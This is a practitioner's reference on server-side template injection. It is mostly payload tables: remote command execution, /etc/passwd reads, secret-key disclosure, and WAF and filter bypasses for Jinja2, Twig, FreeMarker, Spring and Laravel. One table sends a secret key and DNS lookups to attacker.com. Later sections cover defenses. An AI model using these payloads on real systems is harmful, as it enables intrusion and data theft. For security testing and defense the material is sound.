Comprehensive SSTI Guide#
A practitioner’s reference for Server-Side Template Injection — template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Compiled from 20 research sources.
Table of Contents#
- Fundamentals
- Detection & Identification
- Template Engine Exploitation
- Framework-Specific Attacks
- Payload Development
- Advanced Exploitation
- Bypass Techniques
- Testing Methodology
- Secure Implementation
- Detection & Prevention
1. Fundamentals#
SSTI Attack Surface#
| Template Context | Risk Level | Common Locations |
|---|
| User Input Rendering | Critical | Email templates, reports, dynamic pages |
| Configuration Files | High | Template-based configs, dynamic routing |
| Error Messages | Medium | Custom error pages, debug output |
| Log Messages | Low | Log formatting, audit trails |
Template Engine Landscape#
| Engine | Language | Popularity | Exploitation Difficulty |
|---|
| Jinja2 | Python | Very High | Medium |
| Twig | PHP | High | Medium |
| FreeMarker | Java | High | High |
| Velocity | Java | Medium | High |
| Thymeleaf | Java | Medium | Medium |
| Smarty | PHP | Medium | Low |
| Mako | Python | Low | Low |
2. Detection & Identification#
Detection Methodology#
SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads
Basic Detection Payloads#
| Test Case | Payload | Expected Result |
|---|
| Mathematical | ${7*7} | 49 if vulnerable |
| Mathematical | {{7*7}} | 49 if vulnerable |
| Mathematical | <%=7*7%> | 49 if vulnerable |
| String Concatenation | ${'a'+'b'} | ab if vulnerable |
| Function Call | ${T(java.lang.System).getProperty('user.name')} | Username if Spring EL |
Template Engine Fingerprinting#
IDENTIFICATION DECISION TREE:
├── {{7*7}} = 49
│ ├── Jinja2 (Python)
│ ├── Twig (PHP)
│ └── Nunjucks (Node.js)
├── ${7*7} = 49
│ ├── FreeMarker (Java)
│ ├── Velocity (Java)
│ └── Spring EL (Java)
├── <%=7*7%> = 49
│ ├── ERB (Ruby)
│ └── ASP Classic
└── {7*7} = 49
└── Smarty (PHP)
3. Template Engine Exploitation#
Jinja2 (Python) Exploitation#
| Attack Vector | Payload | Impact |
|---|
| Basic RCE | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} | Command execution |
| Subprocess | {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} | Command execution |
| File Read | {{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} | File access |
| Config Access | {{config.SECRET_KEY}} | Sensitive data exposure |
Twig (PHP) Exploitation#
TWIG ATTACK PATTERNS:
├── Filter Abuse
│ ├── {{_self.env.registerUndefinedFilterCallback("exec")}}
│ ├── {{_self.env.getFilter("id")}}
│ └── {{["id"]|filter("system")}}
├── Function Injection
│ ├── {{_self.env.registerUndefinedFunction("exec")}}
│ └── {{_self.env.getFunction("system")}}
└── Object Injection
├── {{app.request.query.get('cmd')|passthru}}
└── {{dump(app)}} (information disclosure)
FreeMarker (Java) Exploitation#
| Technique | Payload | Description |
|---|
| Object Creation | <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} | Command execution |
| Static Method Call | ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} | Process creation |
| File System Access | <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> | File manipulation |
4. Framework-Specific Attacks#
Spring Framework (Java)#
| Context | Payload | Impact |
|---|
| Spring EL | ${T(java.lang.Runtime).getRuntime().exec('id')} | RCE |
| SpEL Injection | #{T(java.lang.System).getProperty('user.name')} | Information disclosure |
| Request Context | ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} | Environment access |
Django (Python)#
DJANGO TEMPLATE ATTACKS:
├── Debug Information
│ ├── {{settings.SECRET_KEY}}
│ ├── {{settings.DATABASES}}
│ └── {{settings.DEBUG}}
├── Object Traversal
│ ├── {{request.META}}
│ ├── {{request.user}}
│ └── {{request.session}}
└── Filter Abuse
├── Custom filters with dangerous functions
└── Template tag injection
Laravel (PHP)#
| Attack Type | Payload | Result |
|---|
| Blade RCE | @php(system('id')) @endphp | Command execution |
| Variable Access | {{$app->make('config')->get('database.default')}} | Configuration disclosure |
| Helper Function | {{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} | Application introspection |
5. Payload Development#
Payload Construction Strategy#
PAYLOAD DEVELOPMENT PROCESS:
├── Environment Discovery
│ ├── Available classes/modules
│ ├── Security restrictions
│ └── Execution context
├── Bypass Development
│ ├── Filter evasion
│ ├── Character restrictions
│ └── Length limitations
└── Payload Optimization
├── Minimize detection
├── Maximize impact
└── Ensure reliability
Common Payload Patterns#
| Goal | Python/Jinja2 | PHP/Twig | Java/FreeMarker |
|---|
| List Classes | {{''.__class__.__mro__[1].__subclasses__()}} | {{dump()}} | <#list .data_model?keys as key>${key}</#list> |
| Execute Command | {{cycler.__init__.__globals__.os.popen('id').read()}} | {{_self.env.registerUndefinedFilterCallback("system")}} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Read File | {{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} | {{include('/etc/passwd')}} | <#assign file="freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd")>${file?string} |
6. Advanced Exploitation#
Blind SSTI Exploitation#
| Detection Method | Payload | Verification |
|---|
| Time-based | {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} | Response delay |
| DNS Exfiltration | {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} | DNS logs |
| HTTP Callback | {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} | HTTP logs |
Sandbox Escape Techniques#
SANDBOX BYPASS METHODS:
├── Python/Jinja2
│ ├── __builtins__ access via globals
│ ├── Class traversal to dangerous modules
│ └── Import statement reconstruction
├── Java/FreeMarker
│ ├── ObjectConstructor for arbitrary class instantiation
│ ├── Static method calls via ?new()
│ └── Reflection API abuse
└── PHP/Twig
├── Filter/function registration
├── Object property access
└── Include/eval function calls
7. Bypass Techniques#
Filter Evasion#
| Restriction | Bypass Technique | Example |
|---|
| Keyword Blacklist | String concatenation | {{'sy'+'stem'}} |
| Character Filtering | Unicode/Encoding | {{'\u0073\u0079\u0073\u0074\u0065\u006d'}} |
| Length Limits | Shortened payloads | {{lipsum.__globals__}} |
| Quotes Blocked | String methods | `{{request.args.cmd |
WAF Bypass Strategies#
WAF EVASION TECHNIQUES:
├── Encoding Variations
│ ├── URL encoding (%7B%7B)
│ ├── Unicode encoding (\u007B\u007B)
│ └── HTML entity encoding ({{)
├── Structure Manipulation
│ ├── Whitespace insertion {{ 7*7 }}
│ ├── Comment insertion {# comment #}
│ └── Nested expressions {{7*{{7}}}}
└── Payload Fragmentation
├── Multi-step injection
├── Context-dependent payloads
└── Request splitting
8. Testing Methodology#
Manual Testing Workflow#
| Phase | Activities | Tools/Techniques |
|---|
| Discovery | Input point identification | Burp Suite, manual analysis |
| Detection | Template injection testing | Mathematical expressions, error analysis |
| Identification | Template engine fingerprinting | Specific syntax testing |
| Exploitation | Payload development | Engine documentation, trial and error |
| Impact Assessment | Privilege escalation, data access | Full exploitation chains |
SSTI TESTING ARSENAL:
├── Detection Tools
│ ├── tplmap (comprehensive scanner)
│ ├── SSTImap (exploitation framework)
│ └── Burp extensions (various)
├── Payload Generators
│ ├── PayloadsAllTheThings (payload collection)
│ ├── SecLists (template payloads)
│ └── Custom scripts
└── Framework-Specific
├── j2eeTester (Java templates)
├── TwigSecurityChecker (Twig)
└── JinjaSecurityScanner (Jinja2)
9. Secure Implementation#
Secure Template Design Principles#
| Principle | Implementation | Security Benefit |
|---|
| Input Validation | Strict allowlist validation | Prevents injection |
| Context Isolation | Separate template contexts | Limits impact |
| Minimal Privileges | Restricted template capabilities | Reduces attack surface |
| Output Encoding | Automatic encoding | Prevents XSS |
Framework-Specific Security#
SECURE CONFIGURATION:
├── Jinja2/Django
│ ├── autoescape=True (XSS prevention)
│ ├── Restrict dangerous globals
│ └── Custom filter validation
├── Twig/Symfony
│ ├── Strict mode enabled
│ ├── Sandbox mode for user content
│ └── Function/filter allowlisting
├── FreeMarker/Spring
│ ├── Restricted method calls
│ ├── Template loading restrictions
│ └── API access controls
└── General Practices
├── Pre-compile templates
├── Validate all inputs
└── Monitor template rendering
10. Detection & Prevention#
Runtime Protection#
| Control | Implementation | Effectiveness |
|---|
| Input Sanitization | Remove template syntax | High (if comprehensive) |
| Template Sandboxing | Restricted execution environment | Medium (bypass possible) |
| Content Security Policy | Restrict dynamic content | Low (server-side attack) |
| Web Application Firewall | Pattern-based blocking | Medium (bypass common) |
Monitoring & Detection#
DETECTION STRATEGIES:
├── Log Analysis
│ ├── Template rendering errors
│ ├── Unusual template patterns
│ └── Performance anomalies
├── Runtime Monitoring
│ ├── Template execution time
│ ├── Memory consumption
│ └── System call monitoring
└── Security Scanning
├── Regular SAST scans
├── DAST testing
└── Dependency vulnerability checks
Incident Response#
| Phase | Actions | Considerations |
|---|
| Detection | Log analysis, alert investigation | False positive filtering |
| Containment | Template access restriction | Service availability |
| Eradication | Vulnerable template removal | Code deployment |
| Recovery | Secure template implementation | Testing requirements |
| Lessons Learned | Process improvement | Training needs |
Key Takeaways#
- Input Validation: Never trust user input in template contexts
- Template Isolation: Separate user-controlled and system templates
- Minimal Privileges: Restrict template engine capabilities
- Regular Testing: Include SSTI in security testing processes
- Framework Updates: Keep template engines updated with security patches
This guide compiles practical SSTI knowledge from 20 research sources. Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features.